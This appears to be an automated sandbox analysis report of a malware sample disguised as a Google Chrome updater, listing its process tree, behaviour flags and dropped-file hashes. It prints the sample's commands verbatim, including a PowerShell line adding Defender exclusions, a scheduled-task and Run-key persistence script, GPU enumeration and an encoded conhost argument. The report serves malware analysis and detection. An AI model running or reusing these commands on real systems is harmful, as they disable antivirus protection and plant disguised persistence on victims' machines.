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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2996
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1460
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4600
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4252
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:2544
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:3164
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:2768
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:456 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4532
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:2916
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.7MB
MD5f88cd94d359bf926964bab716c345705
SHA1f2d69c0ea52a9cd8356e7340c43fe4c09430f8eb
SHA25650676d957ab3aa41bd6009931da212d8c2a40d7492a4d11c17475134c274e7e6
SHA512a38a06e9ec327bb3ca46af72396d048f21065ccaedd540a34f260ed5c51bc85a731ee5b766557ad0b86722c31d3e3c234081deee78f013020ceebfd3ce00f24b
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Filesize
403KB
MD52b58a1d5540ff1b7125a510d1dc11c6c
SHA135277b8dd22a4207ff92ead49059094ae2187e15
SHA2564fc338edebbf4a41b0a6f77b9bb7272cf9b4331874abf05ed49cc2b02459e81c
SHA512f6e4138e9a43e7a050512f267d2fcc5904e0000e3a5d94a9591b68a6f210c1bc3a31a811e34dfc95db2ff4841e95ef469b6045b66ef7d3f4be7777da67cf203c
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD52e907f77659a6601fcc408274894da2e
SHA19f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA51234fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
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Filesize
1KB
MD57661d0b4dc733b10a8f401452d63128d
SHA1b374bb6f3860ac70574f282738c7f456fbe2c33d
SHA256f6f4442564ab77163d4d1ffffc74c3d714102979ee9e075c5235174c6e5761db
SHA512788fad8d0684cccc776c41203df09335977cc67ed2e58c6d785eef9d38a33c1fa30d64360a88ff3d4603fa8dfe0f080e2279987c1e556db53d2bb8a38c047d0d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5